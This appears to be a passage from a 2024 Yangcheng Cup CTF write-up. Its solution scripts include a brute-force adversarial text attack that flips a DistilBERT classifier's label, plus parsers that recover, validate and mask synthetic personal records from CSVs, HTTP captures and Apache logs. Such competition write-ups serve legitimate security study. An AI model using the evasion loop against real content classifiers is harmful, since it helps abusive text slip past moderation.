device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
model = DistilBertForSequenceClassification.from_pretrained(model_path).to(device) # 使用 ForSequenceClassification

import pandas as pd

# 读取数据
data = pd.read_csv('original_text.csv')
attack = pd.read_csv('attack.csv')
success = 0
succeededRows = []


for index, row in data.iterrows():
attackRow = attack.iloc[index]
id = str(row['id'])

text = row['text']
label = row['original_label']

attackText = attackRow['text']


for i in range(1, 300):
print(i)
curPos = i
# 遍历数据
for index, row in data.iterrows():
if index in succeededRows:
continue

# get attack text
attackRow = attack.iloc[index]
# 获取原始文本和修改后的文本
id = row['id']
text = row['text']
label = row['original_label']
if len(text) < curPos:
continue
attackText = text
# check attack id start with '*'
if str(attackRow['id'])[0] == '*':
continue


# 计算相似度
if True:

# remove the character at position i
tmpAtt = attackText[:curPos] + attackText[curPos + 1:]
similarity = verify_similarity(text, attackText, model, tokenizer)
if similarity > 0.75:
new_label = classify_text(attackText, model, tokenizer)
if label != new_label:
# print(f"[+] S: {similarity} OC:{label} C: {new_label} ID: {id} edited: {attackText}")
success += 1
succeededRows.append(index)
continue

for i in range(1, 63):
attackText = attackText[:curPos] + 'A' + attackText[curPos + 1:]
attackText = generate_combinations(attackText, [curPos], 1)
attackText = rotate_char_at_position(attackText, curPos, i)
similarity = verify_similarity(text, attackText, model, tokenizer)
if similarity < 0.75:
continue
#print(f"[?] S: {similarity} OC:{label} C: {new_label} ID: {id} edited: {attackText}")
# 获取预测的类别
new_label = classify_text(attackText, model, tokenizer)
# 打印相似度

if label != new_label and similarity > 0.75:
print(f"[+] S: {similarity} OC:{label} C: {new_label} ID: {id} edited: {attackText}")
# 修改 attack.csv
attack.at[index, 'text'] = attackText
# 对 id 前缀 *
attack.at[index, 'id'] = '*' + str(attackRow['id'])
# 保存修改后的数据
attack.to_csv('attack.csv', index=False)
success += 1
succeededRows.append(index)
break

print(success)
#print(f"S: {similarity} OC:{label} C: {new_label}")

直接逐位爆破, 然后判断, 一位不行两位, 能够爆破出来正确的

数据安全

data-analy1

就是一个简单的还原EXCEL表

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import csv

def juage(list):
result_List=[0]*len(list)
for i in list:
if (0x4e00 <= ord(i[0]) <= 0x9fff) and (ord(i[0]) != 30007) and (ord(i[0]) != 22899) and (ord(i[0]) != 22899):
result_List[3]=i
elif len(i)<=5:
try:
result_List[0]=str(int(i))
except ValueError:
if ord(i[0]) == 30007 or ord(i[0]) == 22899:
result_List[4]=i
else:
result_List[1] = i
elif len(i)==32:
result_List[2]=i
elif len(i)==8:
try:
result_List[5] = str(int(i))
except ValueError:
result_List[1] = i
elif len(i)==18:
try:
int(i[0:4])
result_List[6] = i
except ValueError:
result_List[1] = i
elif len(i)==11:
try:
result_List[7] = str(int(i))
except ValueError:
result_List[1] = i
elif (0x4e00 <= ord(i[0]) <= 0x9fff) and (ord(i[0]) != 30007) and (ord(i[0]) != 30008) and (ord(i[0]) != 22899):
result_List[3]=i
else:
result_List[1]=i
return result_List

result=[]
# 打开文件
with open('person_data.csv', newline='',encoding="utf-8") as csvfile:
# 创建csv.reader对象
reader = csv.reader(csvfile)

# 跳过第一行
next(reader)
# 逐行读取剩余的数据
for row in reader:
# 处理每一行数据
row=juage(row)
result.append(row)
print(row)

with open("result.csv", "w", encoding="utf-8", newline="") as f:
# 2. 基于文件对象构建 csv写入对象
csv_writer = csv.writer(f)
# 3. 构建列表头
name=['编号','用户名','密码','姓名','性别','出生日期','身份证号','手机号码']
csv_writer.writerow(name)
# 4. 写入csv文件内容
for i in result:
csv_writer.writerow(i)
print("写入数据成功")
# 5. 关闭文件
f.close()

data-analy2

使用tshark将http流量导出

8e0155609279c06818ca3b6b0ac52ce7

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import re
import csv


# Define datasets at the start
wgt = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
chk = '10X98765432'
prf = {734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799}

def validate_data(r):
return (is_usr(r[0]) and is_nm(r[1]) and is_sex(r[2], r[4]) and
is_brth(r[3], r[4]) and is_id(r[4]) and is_phn(r[5]))

def process_line(line):
line = bytes.fromhex(line.strip()).decode('utf-8')
sd = re.split(r'(?<!\\)"', line)
return [sd[3], sd[7].encode('utf-8').decode('unicode_escape'),
sd[11].encode('utf-8').decode('unicode_escape'), sd[15], sd[19], sd[23]]

def is_usr(usr):
return usr.isalnum()

def is_nm(nm):
return all('\u4e00' <= ch <= '\u9fff' for ch in nm)

def is_sex(sx, idc):
return (sx == "男" and int(idc[16]) % 2 == 1) or (sx == "女" and int(idc[16]) % 2 == 0)

def is_brth(brth, idc):
return brth == idc[6:14]

def is_id(idc):
chk_sum = sum(int(d) * w for d, w in zip(idc[:17], wgt))
return chk[chk_sum % 11] == idc[17]

def is_phn(phn):
return int(phn[:3]) in prf

def main():
rslt = []
with open("data.txt", "r", encoding="utf-8") as f:
rslt = [process_line(line) for line in f]

with open("2.csv", "w", encoding="utf-8", newline="") as f:
wrt = csv.writer(f)
wrt.writerow(['usr', 'nm', 'sx', 'brth', 'idc', 'phn'])
wrt.writerows(r for r in rslt if not validate_data(r))

print("Data written successfully")

if __name__ == "__main__":
main()

data-analy3

Talk is cheap, show me your code

(永远的 C#!Python 什么的都是渣渣)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
using System.Text;
using System.Text.Encodings.Web;
using System.Text.RegularExpressions;
using System.Web;
List<string> validPhoneStart = [
"734","735","736","737","738","739","747","748","750","751","752","757","758","759","772",
"778","782","783","784","787","788","795","798","730","731","732","740","745","746","755",
"756","766","767","771","775","776","785","786","796","733","749","753","773","774","777",
"780","781","789","790","791","793","799"
];

var pattern =
@"dumpio_in \(data-HEAP\): username=(.*?)&name=(.*?)&idcard=(.*?)&phone=(.*?)\n.*\n.*\n.*\n.*\n.*\n.*?\(data-HEAP\): (?:(.*?)\: (.*?)|(.*?))?\\n";
var contents = File.ReadAllText(@"C:\Users\yushi\Downloads\tempdir\DS附件\附件\apache2\error.log");
var matches = Regex.Matches(contents, pattern);
var users = matches
.ToList().Select(t =>
new UserInfo
{
UserName = HttpUtility.UrlDecode(t.Groups[1].Value),
// url decode name
Name = HttpUtility.UrlDecode(t.Groups[2].Value),
Phone = HttpUtility.UrlDecode(t.Groups[4].Value),
IdCard = HttpUtility.UrlDecode(t.Groups[3].Value),
Password = HttpUtility.UrlDecode(t.Groups[6].Value),
Type = Encoding.UTF8.GetString(Convert.FromHexString(
(string.IsNullOrEmpty(t.Groups[5].Value) ? t.Groups[7].Value : t.Groups[5].Value)
.Replace("\\x", "")
.Replace("\\n", "")
.Replace(":", "")
.Replace(" ", "")
)),
Raw = t.Value
}).ToList();

var originalUsers = users.Where(t => t.Type.Contains("录入")).ToDictionary(t => t.UserName, t => t);
var modifyUsers = users.Where(t => t.Type.Contains("更新")).ToList();
foreach (var user in modifyUsers)
{
originalUsers[user.UserName] = user;
}

var validUsers = originalUsers.Values.Where(CheckUser).ToList();

// 数据脱敏
var sb = new StringBuilder();
sb.AppendLine("username,password,name,idcard,phone");
foreach (var user in validUsers)
{
sb.AppendLine($"{MaskUserName(user.UserName)},{Md5Password(user.Password)},{MaskName(user.Name)},{MaskIdCard(user.IdCard)},{MaskPhone(user.Phone)}");
// sb.AppendLine($"{user.UserName},{user.Password},{user.Name},{user.IdCard},{user.Phone}");
}

File.WriteAllText("output.csv", sb.ToString());

string MaskUserName(string userName)
{
// 若只有两个字符则只对最后⼀位使⽤ * 号代替,否则只保留第⼀位和最后⼀位字符,其余都⽤ * 号代替,例如“ab”脱敏后就是“a*”,“abcde”脱敏后就是“a***e”。
if (userName.Length == 2)
{
return userName[0] + "*";
}
else
{
return userName[0] + new string('*', userName.Length - 2) + userName[^1];
}
}

string Md5Password(string password)
{
using var md5 = System.Security.Cryptography.MD5.Create();
var inputBytes = Encoding.UTF8.GetBytes(password);
var hashBytes = md5.ComputeHash(inputBytes);
var sb = new StringBuilder();
foreach (var t in hashBytes)
{
sb.Append(t.ToString("x2"));
}

return sb.ToString();
}

string MaskName(string userName)
{
if (userName.Length == 2)
{
return userName[0] + "*";
}
else
{
return userName[0] + new string('*', userName.Length - 2) + userName[^1];
}
}

string MaskPhone(string phone)
{
return phone.Substring(0, 3) + "****" + phone[7..];
}


string MaskIdCard(string idCard)
{
// 只保留年份
return "******" + idCard.Substring(6, 4) + "********";
}

Console.ReadLine();

bool CheckUser(UserInfo info)
{
return CheckUserName(info.UserName) && CheckName(info.Name) && CheckPhone(info.Phone) && CheckIDCard(info.IdCard);
}

bool CheckUserName(string userName)
{
// should all be number and alphabet
return Regex.IsMatch(userName, "^[A-Za-z0-9]+$");
}

bool CheckPhone(string phone)
{
if (phone.Length != 11)
{
return false;
}

// should all be number
if (!Regex.IsMatch(phone, "^[0-9]+$"))
{
return false;
}

return validPhoneStart.Contains(phone.Substring(0, 3));
}

bool CheckName(string name)
{
// should all be chinese
return Regex.IsMatch(name, "^[\u4e00-\u9fa5]+$");
}

bool CheckIDCard(string idNumber)
{
return true;
if (idNumber.Length == 18)
{
bool check = CheckIDCard18(idNumber);
return check;
}
else
{
return false;
}
}


bool CheckIDCard18(string idNumber)
{
long n = 0;
if (long.TryParse(idNumber.Remove(17), out n) == false
|| n < Math.Pow(10, 16) || long.TryParse(idNumber.Replace('x', '0').Replace('X', '0'), out n) == false)
{
return false; //数字验证
}

string[] arrVarifyCode = ("1,0,x,9,8,7,6,5,4,3,2").Split(',');
string[] Wi = ("7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2").Split(',');
char[] Ai = idNumber.Remove(17).ToCharArray();
int sum = 0;
for (int i = 0; i < 17; i++)
{
sum += int.Parse(Wi[i]) * int.Parse(Ai[i].ToString());
}

int y = -1;
Math.DivRem(sum, 11, out y);
if (arrVarifyCode[y] != idNumber.Substring(17, 1).ToLower())
{
return false; //校验码验证
}

return true; //符合GB11643-1999标准
}

class UserInfo
{
public string UserName { get; set; }
public string Name { get; set; }
public string Phone { get; set; }
public string IdCard { get; set; }
public string Password { get; set; }

public string Type { get; set; }
public string Raw { get; set; }
}

2024羊城杯WP
https://fyhypo.github.io/blog/wp/2024羊城杯WP/
作者
FYHypo
发布于
2024年9月1日
许可协议